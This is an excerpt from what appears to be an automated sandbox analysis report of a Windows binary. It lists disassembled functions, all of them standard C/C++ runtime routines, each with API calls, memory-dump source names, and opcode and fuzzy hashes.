std::_Lockit::_Lockit.LIBCPMT ref: 00A83B04
int.LIBCPMT ref: 00A83B17

Part of subcall function 00A816B4: std::_Lockit::_Lockit.LIBCPMT ref: 00A816C5
Part of subcall function 00A816B4: std::_Lockit::~_Lockit.LIBCPMT ref: 00A816DF

std::_Facet_Register.LIBCPMT ref: 00A83B4A
std::_Lockit::~_Lockit.LIBCPMT ref: 00A83B60
Concurrency::cancel_current_task.LIBCPMT ref: 00A83B6B

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: e8ae5663867513346364081008935e01ac6d1907f63855a26b5d4d62085ef3a7
Instruction ID: 46da354489a74d20384385531b1b655d2ec39a365e492a27060405864cec7b6d
Opcode Fuzzy Hash: e8ae5663867513346364081008935e01ac6d1907f63855a26b5d4d62085ef3a7
Instruction Fuzzy Hash: 42018472900119ABCF18FB54D9498AE776CEF94760B100658F8165B291EF70DE028790

Function 00A8404F Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00A8405C
int.LIBCPMT ref: 00A8406F

Part of subcall function 00A816B4: std::_Lockit::_Lockit.LIBCPMT ref: 00A816C5
Part of subcall function 00A816B4: std::_Lockit::~_Lockit.LIBCPMT ref: 00A816DF

std::_Facet_Register.LIBCPMT ref: 00A840A2
std::_Lockit::~_Lockit.LIBCPMT ref: 00A840B8
Concurrency::cancel_current_task.LIBCPMT ref: 00A840C3

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 442bc4f4032c9b595f605b0fa1754877ba4726ffddb615c54ddffbeead68993e
Instruction ID: 6c3cb7a8a27a6fbaf63068fe1f8ced75bf5937cc8a2f6afdff7580a9d7e66919
Opcode Fuzzy Hash: 442bc4f4032c9b595f605b0fa1754877ba4726ffddb615c54ddffbeead68993e
Instruction Fuzzy Hash: 5501D632900115ABCB14FB68DD058AEBBBCDF98764F140559F911AB295EF34DE02CBC0

Function 00A84DC1 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00A84DC8
std::_Lockit::_Lockit.LIBCPMT ref: 00A84DD3
std::locale::_Setgloballocale.LIBCPMT ref: 00A84DEE
_Yarn.LIBCPMT ref: 00A84E04
std::_Lockit::~_Lockit.LIBCPMT ref: 00A84E41

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$H_prolog3Lockit::_Lockit::~_SetgloballocaleYarnstd::locale::_
String ID:
API String ID: 156189095-0
Opcode ID: 60c93a42db0dfc85297a14255ccfc198c5d1cacb6cd24131ff53e5067513b3a0
Instruction ID: 3e724cdf89044194f5f7e556d581a1c538660b01ff327a7940b4ec8da07ba9d5
Opcode Fuzzy Hash: 60c93a42db0dfc85297a14255ccfc198c5d1cacb6cd24131ff53e5067513b3a0
Instruction Fuzzy Hash: 6C01A275A001229FDB0AFB60E9416BD7BA1FF89750F190058F901573C1DF34AE42CB95

Function 00AD3FB6 Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00AD3FC2

Part of subcall function 00AD0954: __getptd_noexit.LIBCMT ref: 00AD0957
Part of subcall function 00AD0954: __amsg_exit.LIBCMT ref: 00AD0964

__calloc_crt.LIBCMT ref: 00AD3FCD
__lock.LIBCMT ref: 00AD4003
___addlocaleref.LIBCMT ref: 00AD400F
__lock.LIBCMT ref: 00AD4023

Part of subcall function 00ACFAF4: __getptd_noexit.LIBCMT ref: 00ACFAF4

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__getptd
String ID:
API String ID: 2820776222-0
Opcode ID: 2c0f3218e348ac7c5fd0d4c97702a7053877af8ef00d8f5bc14db8e52945bb76
Instruction ID: 3f1c03dd2e1db274312f8b8d656cd3ae955d009ae2d4d1083409f3b60fb6059d
Opcode Fuzzy Hash: 2c0f3218e348ac7c5fd0d4c97702a7053877af8ef00d8f5bc14db8e52945bb76
Instruction Fuzzy Hash: 3A017C31501701EBEB21BFB8DA07B0D77B0AF08720F20461AF59AAB3C2CB788940CB55

Function 00AD2719 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00AD2725

Part of subcall function 00AD0954: __getptd_noexit.LIBCMT ref: 00AD0957
Part of subcall function 00AD0954: __amsg_exit.LIBCMT ref: 00AD0964

__getptd.LIBCMT ref: 00AD273C
__amsg_exit.LIBCMT ref: 00AD274A
__lock.LIBCMT ref: 00AD275A
__updatetlocinfoEx_nolock.LIBCMT ref: 00AD276E

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 4402fd7a9f35548a0a6e406088b1ac9e9fe92c8952a9fc7886658e1653cea504
Instruction ID: 956e2a5463985b9d57a168f5d5749c2d5a725723cf59d5b31a2651f10f3e2f9f
Opcode Fuzzy Hash: 4402fd7a9f35548a0a6e406088b1ac9e9fe92c8952a9fc7886658e1653cea504
Instruction Fuzzy Hash: D0F09032944711DBEA21FB689907B5E72A0AF00724F12010EF457A63D2CB245841DB59

Function 00A8B0F2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00A8B0A3,00000000,?,00B0DCF4,?,?,?,00A8B246,00000004,InitializeCriticalSectionEx,00AA3BB8,InitializeCriticalSectionEx), ref: 00A8B0FF
GetLastError.KERNEL32(?,00A8B0A3,00000000,?,00B0DCF4,?,?,?,00A8B246,00000004,InitializeCriticalSectionEx,00AA3BB8,InitializeCriticalSectionEx,00000000,?,00A8AFFD), ref: 00A8B109
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00A8B131

Strings

api-ms-, xrefs: 00A8B116

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 57b1551ea52ab052d38ab4647335864a0bd163705747bcafdb184703349f8efb
Instruction ID: b9f922b284d4da1cec8552182947e2420a917fa3bed0620def3693bb5a08e286
Opcode Fuzzy Hash: 57b1551ea52ab052d38ab4647335864a0bd163705747bcafdb184703349f8efb
Instruction Fuzzy Hash: 4AE04F31380205B7EF102FA0EC0AF193F56AB11B80F244020F90EE84E1E7A6DD21C7A4

Function 00A97495 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(196B86F4,00000000,00000000,00000000), ref: 00A974F8

Part of subcall function 00A9927A: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00A98D21,?,00000000,-00000008), ref: 00A99326

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00A97753
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00A9779B
GetLastError.KERNEL32 ref: 00A9783E

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: cd0d96cfd9e2ead4092177acf9de0a422c7e17d0e9ef0d19cfeede63b92d878f
Instruction ID: 392855a275c0c21211078d43efe18cb6cbf87ef5b61dbb82f78b67d18d04c6bd
Opcode Fuzzy Hash: cd0d96cfd9e2ead4092177acf9de0a422c7e17d0e9ef0d19cfeede63b92d878f
Instruction Fuzzy Hash: 32D147B5E142589FCF15CFE8D8809ADBBF5BF49304F28852AE855E7351E730A942CB60

Function 00ABA066 Relevance: 6.3, APIs: 4, Instructions: 325COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00ABA097
_memset.LIBCMT ref: 00ABA0B7
_memset.LIBCMT ref: 00ABA0C8
_memset.LIBCMT ref: 00ABA0D9

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: f8f2153a799745a3823d4200728c2e8b4f8fcabfd3bf63ecfc095cee7d3419b3
Instruction ID: 7507bf81be3dfa96cbdc4f356d2c5db7388d661bd7c849dd407fbc676f39bfa2
Opcode Fuzzy Hash: f8f2153a799745a3823d4200728c2e8b4f8fcabfd3bf63ecfc095cee7d3419b3
Instruction Fuzzy Hash: 9BD1E27291012DAADB20EB94DD96BE9B77CAF08704F1018E7A508B7052DB747F89CF61

Function 00A8A0C1 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00A8A188
___AdjustPointer.LIBCMT ref: 00A8A1AB
___AdjustPointer.LIBCMT ref: 00A8A247

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 1277d0238eae8fa4d0b643ee4c99239970e815df3b190566d33537f310ea17c7
Instruction ID: 609a1c56b3b535f594a52491a29ab3d6af12e261ed214f376826a80f14c0ecae
Opcode Fuzzy Hash: 1277d0238eae8fa4d0b643ee4c99239970e815df3b190566d33537f310ea17c7
Instruction Fuzzy Hash: 2751E5726006069FFB29BF54D945BBA77B4FF24710F14422EE80547291E731EC91C792

Function 00AC4261 Relevance: 6.1, APIs: 4, Instructions: 132COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00AC4286
_memset.LIBCMT ref: 00AC4295
_memset.LIBCMT ref: 00AC4455
_memset.LIBCMT ref: 00AC4467

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: e6a4378ef944a74b131cf10b70e7dc44835de18d1aba5a5ebab30bde6206ff17
Instruction ID: f587f3da13ee75a9bf6f86b67e3187e36db601f3b753bbbf5f7d3e8b6fb81ebd
Opcode Fuzzy Hash: e6a4378ef944a74b131cf10b70e7dc44835de18d1aba5a5ebab30bde6206ff17
Instruction Fuzzy Hash: 0A511CB1D4022A9BCF65EF20DD96ADDB37CAB08704F4204E5A718B3152CB346F868F58

Function 00AC239D Relevance: 6.1, APIs: 4, Instructions: 114COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00AC23C2
_memset.LIBCMT ref: 00AC2436
_memset.LIBCMT ref: 00AC24AA
_memset.LIBCMT ref: 00AC251E

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: cd4a56d92ebe8f612b610e688c4f30728cb1f6f2652345522dcac12796165e9d
Instruction ID: eabd05000de30395cd42e47ff511921974101299d25c508835464266da82cbf5
Opcode Fuzzy Hash: cd4a56d92ebe8f612b610e688c4f30728cb1f6f2652345522dcac12796165e9d
Instruction Fuzzy Hash: 6141D671D4021C7ACF14EB60ED4BFDD737CAF0A700F2148A6BA05E7091EAB4AA848F55

Function 00AD29B5 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00AD29C1

Part of subcall function 00AD0954: __getptd_noexit.LIBCMT ref: 00AD0957
Part of subcall function 00AD0954: __amsg_exit.LIBCMT ref: 00AD0964

__amsg_exit.LIBCMT ref: 00AD29E1
__lock.LIBCMT ref: 00AD29F1
_free.LIBCMT ref: 00AD2A21

Memory Dump Source

Source File: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit$__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3170801528-0
Opcode ID: cdb488327a21f6d606db66afea2a437e5231a64039bb5e551d8e41bc4490d92d
Instruction ID: ff0a4e362e48994dea15096abc5228ff2b97b0b146667f5985ae45b922fd60b5
Opcode Fuzzy Hash: cdb488327a21f6d606db66afea2a437e5231a64039bb5e551d8e41bc4490d92d
Instruction Fuzzy Hash: 8A01D231D01621EBDB32AF29D80AB5E7360FF04B20F02101BE402A73A5C734AD41CBC5

Function 00AA043F Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,00A9F465,00000000,00000001,00000000,00000000,?,00A97892,00000000,00000000,00000000), ref: 00AA0456
GetLastError.KERNEL32(?,00A9F465,00000000,00000001,00000000,00000000,?,00A97892,00000000,00000000,00000000,00000000,00000000,?,00A97E19,00000000), ref: 00AA0462

Part of subcall function 00AA0428: CloseHandle.KERNEL32(FFFFFFFE,00AA0472,?,00A9F465,00000000,00000001,00000000,00000000,?,00A97892,00000000,00000000,00000000,00000000,00000000), ref: 00AA0438

___initconout.LIBCMT ref: 00AA0472

Part of subcall function 00AA03EA: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00AA0419,00A9F452,00000000,?,00A97892,00000000,00000000,00000000,00000000), ref: 00AA03FD

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,00A9F465,00000000,00000001,00000000,00000000,?,00A97892,00000000,00000000,00000000,00000000), ref: 00AA0487

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: d27f9c5e84b11b2309963b937a3c7dcdb566d522e86363d31315b46b37ce5a1a
Instruction ID: 79a35843b7b4c2b2c3426847836d7220123df5cae630c82bafb392e0d2f309ff
Opcode Fuzzy Hash: d27f9c5e84b11b2309963b937a3c7dcdb566d522e86363d31315b46b37ce5a1a
Instruction Fuzzy Hash: 38F01C36500159BBCF22AFD5DC08EAA3F66FB4E3A1B004124FB19861A0D7328C319BA0

Function 00A89DB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00A89DEF
__IsNonwritableInCurrentImage.LIBCMT ref: 00A89EA3

Strings

csm, xrefs: 00A89E8D

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 48538398305fb541f805108f385469457d142f1dd307539d85a59fdd6e222e3f
Instruction ID: 9e1b701e4128c881cd6e481e81207137e7d19b469d6827b3790e64828ac98fb8
Opcode Fuzzy Hash: 48538398305fb541f805108f385469457d142f1dd307539d85a59fdd6e222e3f
Instruction Fuzzy Hash: A641A234A00309AFCF10EF68C881AAFBFB5BF45324F188155E915AB392D7359E55CB91

Function 00A8A6BD Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00A8A6E2

Strings

MOC, xrefs: 00A8A6F4
RCC, xrefs: 00A8A6FC

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: c6a9dd7c0bf1bbbd19e3861d786f0a5d9aef164c59fb92b3c79db007ce39ee57
Instruction ID: 4eb732a39fe61222da6dce5c26fc0cdb108b08712d136e0fe64c487dd57ebebd
Opcode Fuzzy Hash: c6a9dd7c0bf1bbbd19e3861d786f0a5d9aef164c59fb92b3c79db007ce39ee57
Instruction Fuzzy Hash: F7416B71900209EFEF15EF98CD81AEEBBB5FF58300F18815AF905A7251D3359960EB52

Function 00A815DF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00A815E6
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00A8161E

Part of subcall function 00A84EBF: _Yarn.LIBCPMT ref: 00A84EDE
Part of subcall function 00A84EBF: _Yarn.LIBCPMT ref: 00A84F02

Strings

bad locale name, xrefs: 00A8162C

Memory Dump Source

Source File: 00000000.00000002.1785565143.0000000000A81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A80000, based on PE: true

Associated: 00000000.00000002.1785544343.0000000000A80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785612499.0000000000AA2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785640714.0000000000AAC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785690395.0000000000B0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785712574.0000000000B0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1785732227.0000000000B0F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a80000_file.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: 3153ac4c69bd03384bf235d8ef0effb25688a5faf6320f3c95c65fa1cecb5d81
Instruction ID: d8b30047278cbfbcfd9dd5b0c49307100fbbbebd885933ee06d87cb086ba345a
